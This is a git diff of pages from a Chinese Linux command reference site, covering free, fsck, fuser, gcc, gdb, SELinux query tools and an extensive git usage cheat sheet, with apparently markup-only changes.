    +-g # 以GB为单位显示内存使用情况。 
    +-o # 不显示缓冲区调节列;
     -s<间隔秒数> # 持续观察内存使用状况;
    --t # 显示内存总和列;
    --V # 显示版本信息。
    +-t # 显示内存总和列;
    +-V # 显示版本信息。
     

    实例

    -
    free -t    # 以总和的形式显示内存的使用信息
    -free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令
    +
    free -t    # 以总和的形式显示内存的使用信息
    +free -s 10 # 周期性的查询内存使用信息,每10s 执行一次命令
     

    显示内存使用情况

    -
    free -m
    +
    free -m
                  total       used       free     shared    buffers     cached
     Mem:          2016       1973         42          0        163       1497
     -/+ buffers/cache:        312       1703
    @@ -303,7 +303,7 @@ DirectMap1G:     5242880 kB
     

    简单说来,page cache用来缓存文件数据,buffer cache用来缓存磁盘数据。在有文件系统的情况下,对文件操作,那么数据会缓存到page cache,如果直接采用dd等工具对磁盘进行读写,那么数据会缓存到buffer cache。

    所以我们看linux,只要不用swap的交换空间,就不用担心自己的内存太少.如果常常swap用很多,可能你就要考虑加物理内存了.这也是linux看内存是否够用的标准.

    如果是应用服务器的话,一般只看第二行,+buffers/cache,即对应用程序来说free的内存太少了,也是该考虑优化程序或加内存了。

    - - + + \ No newline at end of file diff --git a/c/fsck.html b/c/fsck.html index 9f421e0123..35bc257dec 100644 --- a/c/fsck.html +++ b/c/fsck.html @@ -9,7 +9,7 @@ fsck 命令,Linux fsck 命令详解:检查并且试图修复文件系统中的错误 - Linux 命令搜索引擎 - + @@ -147,7 +147,7 @@ customElements.define('markdown-style', MarkdownStyle);文件系统:指定要查看信息的文件系统。

    实例

    linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是/dev/hda2,接着用如下的命令去对付它:

    -
    fsck -y /dev/hda2
    +
    fsck -y /dev/hda2
     

    结束后使用reboot命令重启系统这样就好了!

    @@ -157,7 +157,7 @@ customElements.define('markdown-style', MarkdownStyle);

    在随后的多个确认对话框中输入:y

    结束后同样使用reboot命令重启系统这样就好了!

    - - + + \ No newline at end of file diff --git a/c/ftp.html b/c/ftp.html index 3ff51fdc9f..c7b7fff77e 100644 --- a/c/ftp.html +++ b/c/ftp.html @@ -9,7 +9,7 @@ ftp 命令,Linux ftp 命令详解:用来设置文件系统相关功能 - Linux 命令搜索引擎 - + @@ -231,7 +231,7 @@ ftp> mget *.txt # 下载
    - - + + \ No newline at end of file diff --git a/c/ftpcount.html b/c/ftpcount.html index ae411a21b8..c3c13b1805 100644 --- a/c/ftpcount.html +++ b/c/ftpcount.html @@ -9,7 +9,7 @@ ftpcount 命令,Linux ftpcount 命令详解:显示目前已FTP登入的用户人数 - Linux 命令搜索引擎 - + @@ -121,7 +121,7 @@ customElements.define('markdown-style', MarkdownStyle);ftpcount
    - - + + \ No newline at end of file diff --git a/c/ftpshut.html b/c/ftpshut.html index 9429072de3..91c27f359a 100644 --- a/c/ftpshut.html +++ b/c/ftpshut.html @@ -9,7 +9,7 @@ ftpshut 命令,Linux ftpshut 命令详解:在指定的时间关闭FTP服务器 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ftptop.html b/c/ftptop.html index c5b8be2ef5..662cb5d69a 100644 --- a/c/ftptop.html +++ b/c/ftptop.html @@ -9,7 +9,7 @@ ftptop 命令,Linux ftptop 命令详解:proftpd服务器的连接状态 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/ftpwho.html b/c/ftpwho.html index 5908268a1a..813123caa1 100644 --- a/c/ftpwho.html +++ b/c/ftpwho.html @@ -9,7 +9,7 @@ ftpwho 命令,Linux ftpwho 命令详解:显示当前每个ftp会话信息 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/fuser.html b/c/fuser.html index ce8f8f4a6e..c57bc545ff 100644 --- a/c/fuser.html +++ b/c/fuser.html @@ -9,7 +9,7 @@ fuser 命令,Linux fuser 命令详解:使用文件或文件结构识别进程 - Linux 命令搜索引擎 - + @@ -154,20 +154,20 @@ customElements.define('markdown-style', MarkdownStyle);

    要列出使用/etc/filesystems文件的进程的进程号和用户登录名,请输入:

    -
    fuser -u /etc/filesystems
    +
    fuser -u /etc/filesystems
     

    要终止使用给定文件系统的所有进程,请输入:

    -
    fuser -k -x -u -c /dev/hd1  或者  fuser -kxuc /home
    +
    fuser -k -x -u -c /dev/hd1  或者  fuser -kxuc /home
     

    任一命令都列出了进程号和用户名,然后终止每个正在使用/dev/hd1 (/home)文件系统的进程。仅有root用户能终止属于另一用户的进程。如果您正在试图卸下/dev/hd1文件系统,而一个正在访问/dev/hd1文件系统的进程不允许这样,您可能希望使用此命令。

    要列出正在使用已从给定文件系统删除的文件的全部进程,请输入:

    -
    fuser -d /usr文件
    +
    fuser -d /usr文件
     

    /dev/kmem 用于系统映像。
    /dev/mem  也用于系统映像。

    - - + + \ No newline at end of file diff --git a/c/gcc.html b/c/gcc.html index 9d24af0515..a31df61483 100644 --- a/c/gcc.html +++ b/c/gcc.html @@ -9,7 +9,7 @@ gcc 命令,Linux gcc 命令详解:基于C/C++的编译器 - Linux 命令搜索引擎 - + @@ -148,32 +148,32 @@ customElements.define('markdown-style', MarkdownStyle);

    test.c 预处理、汇编、编译并链接形成可执行文件。这里未指定输出文件,默认输出为 a.out

    选项 -o

    -
    gcc test.c -o test
    +
    gcc test.c -o test
     

    test.c 预处理、汇编、编译并链接形成可执行文件 test-o 选项用来指定输出文件的文件名。

    选项 -E

    -
    gcc -E test.c -o test.i
    +
    gcc -E test.c -o test.i
     

    test.c 预处理输出 test.i 文件。

    选项 -S

    -
    gcc -S test.i
    +
    gcc -S test.i
     

    将预处理输出文件 test.i 汇编成 test.s 文件。

    选项 -c

    -
    gcc -c test.s
    +
    gcc -c test.s
     

    将汇编输出文件 test.s 编译输出 test.o 文件。

    无选项链接

    -
    gcc test.o -o test
    +
    gcc test.o -o test
     

    将编译输出文件 test.o 链接成最终可执行文件 test

    选项 -O

    -
    gcc -O1 test.c -o test
    +
    gcc -O1 test.c -o test
     

    使用编译优化级别1编译程序。级别为1~3,级别越大优化效果越好,但编译时间越长。

    @@ -181,28 +181,28 @@ customElements.define('markdown-style', MarkdownStyle);如果有多个源文件,基本上有两种编译方法:

    假设有两个源文件为 test.ctestfun.c

    多个文件一起编译

    -
    gcc testfun.c test.c -o test
    +
    gcc testfun.c test.c -o test
     

    testfun.ctest.c 分别编译后链接成 test 可执行文件。

    分别编译各个源文件,之后对编译后输出的目标文件链接。

    -
    gcc -c testfun.c    #将testfun.c编译成testfun.o
    -gcc -c test.c       #将test.c编译成test.o
    -gcc -o testfun.o test.o -o test    #将testfun.o和test.o链接成test
    +
    gcc -c testfun.c    #将testfun.c编译成testfun.o
    +gcc -c test.c       #将test.c编译成test.o
    +gcc -o testfun.o test.o -o test    #将testfun.o和test.o链接成test
     

    以上两种方法相比较,第一中方法编译时需要所有文件重新编译,而第二种方法可以只重新编译修改的文件,未修改的文件不用重新编译。

    加载动态链接库

    -
    gcc hello.c -lpthread -o hello
    +
    gcc hello.c -lpthread -o hello
     

    手动添加文件头路径

    -
    gcc hello.c -lpthread -I /lib64/ -o hello
    +
    gcc hello.c -lpthread -I /lib64/ -o hello
     
    - - + + \ No newline at end of file diff --git a/c/gcov.html b/c/gcov.html index c77374a9e3..f4ffb8cddb 100644 --- a/c/gcov.html +++ b/c/gcov.html @@ -9,7 +9,7 @@ gcov 命令,Linux gcov 命令详解:测试程序的代码覆盖率的工具 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    V语言文件:C语言源代码文件。

    - - + + \ No newline at end of file diff --git a/c/gdb.html b/c/gdb.html index 4f8771f686..0c3d4b2698 100644 --- a/c/gdb.html +++ b/c/gdb.html @@ -9,7 +9,7 @@ gdb 命令,Linux gdb 命令详解:功能强大的程序调试器 - Linux 命令搜索引擎 - + @@ -257,7 +257,7 @@ int main() } " class="copied">

    请将此代码复制出来并保存到文件 gdb-sample.c 中,然后切换到此文件所在目录,用GCC编译之:

    -
    gcc gdb-sample.c -o gdb-sample -g
    +
    gcc gdb-sample.c -o gdb-sample -g
     

    在上面的命令行中,使用 -o 参数指定了编译生成的可执行文件名为 gdb-sample,使用参数 -g 表示将源代码信息编译到可执行文件中。如果不使用参数 -g,会给后面的GDB调试造成不便。当然,如果我们没有程序的源代码,自然也无从使用 -g 参数,调试/跟踪时也只能是汇编代码级别的调试/跟踪。

    @@ -521,7 +521,7 @@ Breakpoint 4, main () at gdb-sample.c:17 " class="copied">

    此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”:

    (gdb) i r
    -eax 0xbffff6a4 -1073744220
    +eax 0xbffff6a4 -1073744220
     ecx 0x42015554 1107383636
     edx 0x40016bc8 1073834952
     ebx 0x42130a14 1108544020
    @@ -557,7 +557,7 @@ gs 0x33 51
     " class="copied">

    当然也可以显示任意一个指定的寄存器值:

    (gdb) i r eax
    -eax 0xbffff6a4 -1073744220
    +eax 0xbffff6a4 -1073744220
     
    @@ -572,7 +572,7 @@ The program is running. exit anyway? (y or n)

    gdb 教程:慕课网-Linux C语言指针与内存-第三章

    如果删除源代码, 就无法显示行号等辅助信息了

    -
    gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out
    +
    gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out
     
     gdb gdb.out # 进入 gdb 调试环境
     enter # 继续执行上条命令
    @@ -641,7 +641,7 @@ int main(){
         printf("change2:\na=%d\nb=%d\n", a,b);
     }
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/get_module.html b/c/get_module.html index 83f2a770ec..fc6857254d 100644 --- a/c/get_module.html +++ b/c/get_module.html @@ -9,7 +9,7 @@ get_module 命令,Linux get_module 命令详解:获取Linux内核模块的详细信息 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    使用lsmod命令查看内核模块:

    -
    lsmod | head -5
    +
    lsmod | head -5
     Module                  Size  Used by
     ipv6                  272801  15
     xfrm_nalgo             13381  1 ipv6
    @@ -202,7 +202,7 @@ Sections:
             __param              : 0xf8f1da08
             __versions           : 0xf8f1df00
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/getenforce.html b/c/getenforce.html index 018500f1ce..163f5e02df 100644 --- a/c/getenforce.html +++ b/c/getenforce.html @@ -9,7 +9,7 @@ getenforce 命令,Linux getenforce 命令详解:显示当前SELinux的应用模式,是强制、执行还是停用 - Linux 命令搜索引擎 - + @@ -128,7 +128,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/getsebool.html b/c/getsebool.html index 63299dbf86..ced801f146 100644 --- a/c/getsebool.html +++ b/c/getsebool.html @@ -9,7 +9,7 @@ getsebool 命令,Linux getsebool 命令详解:查询SElinux策略内各项规则的布尔值 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    查询本系统内所有的布尔值设置状况:

    -
    getsebool -a
    +
    getsebool -a
     NetworkManager_disable_trans --> off
     allow_console_login --> off
     allow_cvs_read_shadow --> off
    @@ -142,11 +142,11 @@ allow_daemons_dump_core --> on
     " class="copied">

    查询httpd_enable_homedirs是否为关闭,若没关闭,请关闭它:

    getsebool httpd_enable_homedirs
    -setsebool -P httpd_enable_homedirs=0    # 0是关闭  1是开启
    +setsebool -P httpd_enable_homedirs=0    # 0是关闭  1是开启
     
    - - + + \ No newline at end of file diff --git a/c/git.html b/c/git.html index f3daf1aff3..80d0ed72d7 100644 --- a/c/git.html +++ b/c/git.html @@ -9,7 +9,7 @@ git 命令,Linux git 命令详解:是目前世界上最先进的分布式版本控制系统 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ customElements.define('markdown-style', MarkdownStyle);语法
    git [--version] [--help] [-C <path>] [-c name=value]
        [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
    -   [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
    +   [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
        [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
        <command> [<args>]
     
    git push -u origin master # push同事设置默认跟踪分支 +
    git push -u origin master # push同事设置默认跟踪分支  
     git push origin master  
    -git push -f origin master # 强制推送文件,缩写 -f(全写--force)
    +git push -f origin master # 强制推送文件,缩写 -f(全写--force)
     
    修改项目中的个人信息
    git help config # 获取帮助信息,查看修改个人信息的参数  
    -git config --global user.name "小弟调调"           # 修改全局名字
    -git config --global user.email "wowohoo@qq.com"  # 修改全局邮箱
    -git config --list         # 查看配置的信息  
    +git config --global user.name "小弟调调"           # 修改全局名字
    +git config --global user.email "wowohoo@qq.com"  # 修改全局邮箱
    +git config --list         # 查看配置的信息  
     

    配置自动换行

    自动转换坑太大,提交到git是自动将换行符转换为lf

    -
    git config --global core.autocrlf input
    +
    git config --global core.autocrlf input
     

    常见使用场景

    创建SSH密钥

    这个密钥用来跟 github 通信,在本地终端里生成然后上传到 github

    -
    ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥  
    -ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字
    -ssh -T git@github.com # 测试是否成功  
    +
    ssh-keygen -t rsa -C 'wowohoo@qq.com' # 生成密钥  
    +ssh-keygen -t rsa -C "wowohoo@qq.com" -f ~/.ssh/ww_rsa # 指定生成目录文件名字
    +ssh -T git@github.com # 测试是否成功  
     
    ssh -T git@jslite.github.com # `@`后面跟上定义的Host -ssh -T work.github.com # 通过别名测试 -ssh -i ~/公钥文件地址 Host别名 # 如 ssh -i ~/.ssh/work_rsa work.github.com +
    ssh -T git@jslite.github.com  # `@`后面跟上定义的Host  
    +ssh -T work.github.com        # 通过别名测试
    +ssh -i ~/公钥文件地址 Host别名  # 如 ssh -i ~/.ssh/work_rsa work.github.com
     
    ssh-add ~/.ssh/jslite_rsa -ssh-add -l # 查看所有的key -ssh-add -D # 删除所有的key -ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key +ssh-add -l # 查看所有的key +ssh-add -D # 删除所有的key +ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key

    免密码登录远程服务器

    -
    $ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
    -$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
    +
    $ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key
    +$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次
     
    @@ -372,16 +372,16 @@ $ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要

    文件推向3个git库

    1. 增加3个远程库地址

    git remote add origin https://github.com/JSLite/JSLite.git  
    -git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git  
    -git remote set-url --add origin https://oschina.net/wang/JSLite.js.git  
    +git remote set-url --add origin https://gitlab.com/wang/JSLite.js.git  
    +git remote set-url --add origin https://oschina.net/wang/JSLite.js.git  
     

    2. 删除其中一个 set-url 地址

    usage: git remote set-url [--push] <name> <newurl> [<oldurl>]
    -   or: git remote set-url --add <name> <newurl>
    -   or: git remote set-url --delete <name> <url>
    +   or: git remote set-url --add <name> <newurl>
    +   or: git remote set-url --delete <name> <url>
     
    git push origin master -git push -f origin master # 强制推送 +git push -f origin master # 强制推送

    4.拉代码

    只能拉取 origin 里的一个url地址,这个fetch-url
    默认为你添加的到 origin的第一个地址

    git pull origin master   
    -git pull --all # 获取远程所有内容包括tag  
    +git pull --all # 获取远程所有内容包括tag  
     git pull origin next:master # 取回origin主机的next分支,与本地的master分支合并  
     git pull origin next # 远程分支是与当前分支合并  
     
    @@ -413,10 +413,10 @@ git fetch origin
     git merge origin/next  
     " class="copied">

    如果远程主机删除了某个分支,默认情况下,git pull 不会在拉取远程分支的时候,删除对应的本地分支。这是为了防止,由于其他人操作了远程主机,导致git pull不知不觉删除了本地分支。
    但是,你可以改变这个行为,加上参数 -p 就会在本地删除远程已经删除的分支。

    -
    $ git pull -p
    +
    $ git pull -p
     # 等同于下面的命令
    -$ git fetch --prune origin 
    -$ git fetch -p
    +$ git fetch --prune origin 
    +$ git fetch -p
     

    撤销远程记录

    -
    git reset --hard HEAD~1 # 撤销一条记录   
    -git push -f origin HEAD:master # 同步到远程仓库  
    +
    git reset --hard HEAD~1 # 撤销一条记录   
    +git push -f origin HEAD:master # 同步到远程仓库  
     

    放弃本地的文件修改

    -
    git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull
    +
    git reset --hard FETCH_HEAD # FETCH_HEAD表示上一次成功git pull之后形成的commit点。然后git pull
     

    git reset --hard FETCH_HEAD 出现错误

    @@ -455,18 +455,18 @@ line and try again (e.g. 'git pull '). See git-pull(1) FOR details. " class="copied">

    解决方法:

    -
    git checkout -b temp # 新建+切换到temp分支 
    +
    git checkout -b temp # 新建+切换到temp分支 
     git checkout master
     

    最简单放弃本地修改内容

    # 如果有的修改以及加入暂存区的话
    -git reset --hard 
    +git reset --hard 
     # 还原所有修改,不会删除新增的文件
     git checkout . 
     # 下面命令会删除新增的文件
    -git clean -xdf
    +git clean -xdf
     

    回退到某一个版本

    -
    git reset --hard <hash>
    +
    git reset --hard <hash>
     # 例如 git reset --hard a3hd73r
     # --hard代表丢弃工作区的修改,让工作区与版本代码一模一样,与之对应,
     # --soft参数代表保留工作区的修改。
    @@ -502,9 +502,9 @@ git revert 
     " class="copied">

    新建一个空分支

    # 这种方式新建的分支(gh-pages)是没有 commit 记录的
    -git checkout --orphan gh-pages
    +git checkout --orphan gh-pages
     # 删除新建的gh-pages分支原本的内容,如果不删除,提交将作为当前分支的第一个commit
    -git rm -rf .
    +git rm -rf .
     # 查看一下状态 有可能上面一条命令,没有删除还没有提交的的文件
     git state 
     
    合并多个commit
    # 这个命令,将最近4个commit合并为1个,HEAD代表当前版本。
     # 将进入VIM界面,你可以修改提交信息。
    -git rebase -i HEAD~4 
    +git rebase -i HEAD~4 
     # 可以看到其中分为两个部分,上方未注释的部分是填写要执行的指令,
     # 而下方注释的部分则是指令的提示说明。指令部分中由前方的命令名称、commit hash 和 commit message 组成
     # 当前我们只要知道 pick 和 squash 这两个命令即可。
    @@ -531,7 +531,7 @@ git state
     # 
     # 输入wq保存并推出, 再次输入git log查看 commit 历史信息,你会发现这两个 commit 已经合并了。
     # 将修改强制推送到前端
    -git push -f origin master
    +git push -f origin master
     

    修改远程Commit记录

    -
    git commit --amend
    +
    git commit --amend
     # amend只能修改没有提交到线上的,最后一次commit记录
    -git rebase -i HEAD~3
    +git rebase -i HEAD~3
     # 表示要修改当前版本的倒数第三次状态
     # 将要更改的记录行首单词 pick 改为 edit
     pick 96dc3f9 doc: Update quick-start.md
    @@ -598,13 +598,13 @@ pick 6293516 feat(Divider): Add Divider component.
     #   git rebase --continue
     
     # 通过这条命令进入编辑页面更改commit,保存退出
    -git commit --amend
    +git commit --amend
     # 保存退出确认修改,继续执行 rebase, 
    -git rebase --continue
    +git rebase --continue
     # 如果修改多条记录反复执行上面两条命令直到完成所有修改
     
     # 最后,确保别人没有提交进行push,最好不要加 -f 强制推送
    -git push -f origin master
    +git push -f origin master
     
    Github教程同步fork教程,在Github上同步一个分支(fork)

    设置添加多个远程仓库地址。

    在同步之前,需要创建一个远程点指向上游仓库(repo).如果你已经派生了一个原始仓库,可以按照如下方法做。

    -
    $ git remote -v
    +
    $ git remote -v
     # List the current remotes (列出当前远程仓库)
     # origin  https://github.com/user/repo.git (fetch)
     # origin  https://github.com/user/repo.git (push)
     $ git remote add upstream https://github.com/otheruser/repo.git
     # Set a new remote (设置一个新的远程仓库)
    -$ git remote -v
    +$ git remote -v
     # Verify new remote (验证新的原唱仓库)
     # origin    https://github.com/user/repo.git (fetch)
     # origin    https://github.com/user/repo.git (push)
    @@ -702,7 +702,7 @@ $ git remote -v
     

    批量修改历史commit中的名字和邮箱

    1.克隆仓库

    注意参数,这个不是普通的clone,clone下来的仓库并不能参与开发

    -
    git clone --bare https://github.com/user/repo.git
    +
    git clone --bare https://github.com/user/repo.git
     cd repo.git
     
    git filter-branch -f --env-filter ' +
    git filter-branch -f --env-filter '
     OLD_EMAIL="wowohoo@qq.com"
     CORRECT_NAME="小弟调调"
     CORRECT_EMAIL="更正的邮箱@qq.com"
    @@ -724,7 +724,7 @@ cd repo.git
         export GIT_AUTHOR_NAME="$CORRECT_NAME"
         export GIT_AUTHOR_EMAIL="$CORRECT_EMAIL"
     fi
    -' --tag-name-filter cat -- --branches --tags
    +' --tag-name-filter cat -- --branches --tags
     

    3.同步到远程仓库

    同步到push远程git仓库

    -
    git push --force --tags origin 'refs/heads/*'
    +
    git push --force --tags origin 'refs/heads/*'
     

    我还遇到了如下面错误,lab默认给master分支加了保护,不允许强制覆盖。Project(项目)->Setting->Repository 菜单下面的Protected branches把master的保护去掉就可以了。修改完之后,建议把master的保护再加回来,毕竟强推不是件好事。

    @@ -767,9 +767,9 @@ Ref 'refs/heads/master' was rewritten git pull origin master --allow-unrelated-histories " class="copied">

    查看某个文件历史

    -
    git log --pretty=oneline 文件名  # 列出文件的所有改动历史  
    +
    git log --pretty=oneline 文件名  # 列出文件的所有改动历史  
     git show c178bf49   # 某次的改动的修改记录  
    -git log -p c178bf49 # 某次的改动的修改记录  
    +git log -p c178bf49 # 某次的改动的修改记录  
     git blame 文件名     # 显示文件的每一行是在那个版本最后修改。  
     git whatchanged 文件名  # 显示某个文件的每个版本提交信息:提交日期,提交人员,版本号,提交备注(没有修改细节)  
     

    打造自己的git命令

    -
    git config --global alias.st status
    -git config --global alias.br branch
    -git config --global alias.co checkout
    -git config --global alias.ci commit
    +
    git config --global alias.st status
    +git config --global alias.br branch
    +git config --global alias.co checkout
    +git config --global alias.ci commit
     

    中文乱码的解决方案

    -
    git config --global core.quotepath false
    +
    git config --global core.quotepath false
     

    新建仓库

    @@ -808,9 +808,9 @@ git config --global alias.ci commit

    remote

    git remote add origin git@github.com:JSLite/test.git #添加源

    push

    -
    git push -u origin master # push同事设置默认跟踪分支  
    +
    git push -u origin master # push同事设置默认跟踪分支  
     git push origin master  
    -git push -f origin master # 强制推送文件,缩写 -f(全写--force)
    +git push -f origin master # 强制推送文件,缩写 -f(全写--force)
     

    add

    git add *   # 跟踪新文件   
    -git add -u [path]   # 添加[指定路径下]已跟踪文件   
    +git add -u [path]   # 添加[指定路径下]已跟踪文件   
     

    rm

    rm *&git rm *          # 移除文件  
    -git rm -f *            # 移除文件  
    -git rm --cached *      # 取消跟踪  
    +git rm -f *            # 移除文件  
    +git rm --cached *      # 取消跟踪  
     git mv file_from file_to  # 重命名跟踪文件  
     git log   # 查看提交记录  
     

    commit

    git commit #提交更新   
    -git commit -m 'message' #提交说明   
    -git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交   
    -git commit --amend #修改最后一次提交   
    +git commit -m 'message' #提交说明   
    +git commit -a #跳过使用暂存区域,把所有已经跟踪过的文件暂存起来一并提交   
    +git commit --amend #修改最后一次提交   
     git commit log #查看所有提交,包括没有push的commit    
    -git commit -m "#133" #关联issue 任意位置带上# 符号加上issue号码  
    -git commit -m "fix #133" commit关闭issue  
    -git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交简要描述和详细描述  
    +git commit -m "#133" #关联issue 任意位置带上# 符号加上issue号码  
    +git commit -m "fix #133" commit关闭issue  
    +git commit -m '概要描述'$'\n\n''1.详细描述'$'\n''2.详细描述' #提交简要描述和详细描述  
     

    reset

    git reset HEAD *  # 取消已经暂存的文件   
    -git reset --mixed HEAD * # 同上   
    -git reset --soft HEAD *  # 重置到指定状态,不会修改索引区和工作树   
    -git reset --hard HEAD *  # 重置到指定状态,会修改索引区和工作树   
    +git reset --mixed HEAD * # 同上   
    +git reset --soft HEAD *  # 重置到指定状态,不会修改索引区和工作树   
    +git reset --hard HEAD *  # 重置到指定状态,会修改索引区和工作树   
     git reset -- files *     # 重置index区文件   
     
    git checkout branch|tag|commit -- file_name # 从仓库取出file覆盖当前分支 git checkout HEAD~1 [文件] # 将会更新 working directory 去匹配某次 commit git checkout -- . # 从暂存区取出文件覆盖工作区 -git checkout -b gh-pages 0c304c9 # 这个表示 从当前分支 commit 哈希值为 0c304c9 的节点,分一个新的分支gh-pages出来,并切换到 gh-pages +git checkout -b gh-pages 0c304c9 # 这个表示 从当前分支 commit 哈希值为 0c304c9 的节点,分一个新的分支gh-pages出来,并切换到 gh-pages

    diff

    git diff file     # 查看指定文件的差异   
    -git diff --stat   # 查看简单的diff结果   
    +git diff --stat   # 查看简单的diff结果   
     git diff  # 比较Worktree和Index之间的差异   
    -git diff --cached   # 比较Index和HEAD之间的差异   
    +git diff --cached   # 比较Index和HEAD之间的差异   
     git diff HEAD       # 比较Worktree和HEAD之间的差异   
     git diff branch     # 比较Worktree和branch之间的差异   
     git diff branch1 branch2  # 比较两次分支之间的差异   
    @@ -943,22 +943,22 @@ git stash pop   # 恢复的同时直接删除stash内容
     git stash apply stash@{0} # 恢复指定的工作现场,当你保存了不只一份工作现场时。   
     " class="copied">

    merge

    -
    git merge --squash test # 合并压缩,将test上的commit压缩为一条   
    +
    git merge --squash test # 合并压缩,将test上的commit压缩为一条   
     

    cherry-pick

    git cherry-pick commit    # 拣选合并,将commit合并到当前分支   
    -git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交   
    +git cherry-pick -n commit # 拣选多个提交,合并完后可以继续拣选下一个提交   
     

    rebase

    git rebase master   # 将master分之上超前的提交,变基到当前分支  
    -git rebase --onto master 169a6  # 限制回滚范围,rebase当前分支从169a6以后的提交  
    -git rebase --interactive # 交互模式,修改commit   
    -git rebase --continue    # 处理完冲突继续合并   
    -git rebase --skip        # 跳过   
    -git rebase --abort       # 取消合并    
    +git rebase --onto master 169a6  # 限制回滚范围,rebase当前分支从169a6以后的提交  
    +git rebase --interactive # 交互模式,修改commit   
    +git rebase --continue    # 处理完冲突继续合并   
    +git rebase --skip        # 跳过   
    +git rebase --abort       # 取消合并    
     
    分支branch

    删除

    git push origin :branchName  # 删除远程分支  
    -git push origin --delete new # 删除远程分支new   
    -git branch -d branchName     # 删除本地分支,强制删除用-D  
    -git branch -d test      # 删除本地test分支   
    -git branch -D test      # 强制删除本地test分支   
    +git push origin --delete new # 删除远程分支new   
    +git branch -d branchName     # 删除本地分支,强制删除用-D  
    +git branch -d test      # 删除本地test分支   
    +git branch -D test      # 强制删除本地test分支   
     git remote prune origin # 远程删除了,本地还能看到远程存在,这条命令删除远程不存在的分支
     

    提交

    -
    git push -u origin branchName # 提交分支到远程origin主机中  
    +
    git push -u origin branchName # 提交分支到远程origin主机中  
     

    拉取

    @@ -1001,10 +1001,10 @@ git merge test # 将test分支合并到当前分支

    git branch -m old new #重命名分支

    查看

    git branch      # 列出本地分支   
    -git branch -r   # 列出远端分支   
    -git branch -a   # 列出所有分支   
    -git branch -v   # 查看各个分支最后一个提交对象的信息   
    -git branch --merge      # 查看已经合并到当前分支的分支   
    +git branch -r   # 列出远端分支   
    +git branch -a   # 列出所有分支   
    +git branch -v   # 查看各个分支最后一个提交对象的信息   
    +git branch --merge      # 查看已经合并到当前分支的分支   
     git branch --no-merge   # 查看为合并到当前分支的分支   
     git remote show origin  # 可以查看remote地址,远程分支
     
    新建
    git branch test # 新建test分支  
     git branch newBrach 3defc69 # 指定哈希3defc69,新建分支名字为newBrach
    -git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支  
    -git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支,并切换到该分支
    +git checkout -b newBrach origin/master # 取回远程主机的更新以后,在它的基础上创建一个新的分支  
    +git checkout -b newBrach 3defc69 # 以哈希值3defc69,新建 newBrach 分支,并切换到该分支
     

    分支切换

    git checkout test     # 切换到test分支   
    -git checkout -b test  # 新建+切换到test分支   
    -git checkout -b test dev # 基于dev新建test分支,并切换   
    +git checkout -b test  # 新建+切换到test分支   
    +git checkout -b test dev # 基于dev新建test分支,并切换   
     
    git push origin branch # 将当前分支,推送到远端上指定分支 git push origin localbranch:remotebranch # 推送本地指定分支,到远端上指定分支 git push origin :remotebranch # 删除远端指定分支 -git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地test分支[同时设置跟踪] +git checkout -b [--track] test origin/dev # 基于远端dev分支,新建本地test分支[同时设置跟踪]

    submodule

    克隆项目同时克隆submodule

    -
    git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules
    +
    git clone https://github.com/jaywcjlove/handbook.git --depth=1 --recurse-submodules
     

    克隆项目,之后再手动克隆 submodule 子项目

    -
    git submodule add --force '仓库地址' '路径'
    +
    git submodule add --force '仓库地址' '路径'
     # 其中,仓库地址是指子模块仓库地址,路径指将子模块放置在当前工程下的路径。
     # 注意:路径不能以 / 结尾(会造成修改不生效)、不能是现有工程已有的目录(不能順利 Clone)
     git submodule init # 初始化submodule
     git submodule update # 更新submodule(必须在根目录执行命令)
    -git submodule update --init --recursive  # 下载的工程带有submodule
    +git submodule update --init --recursive  # 下载的工程带有submodule
     
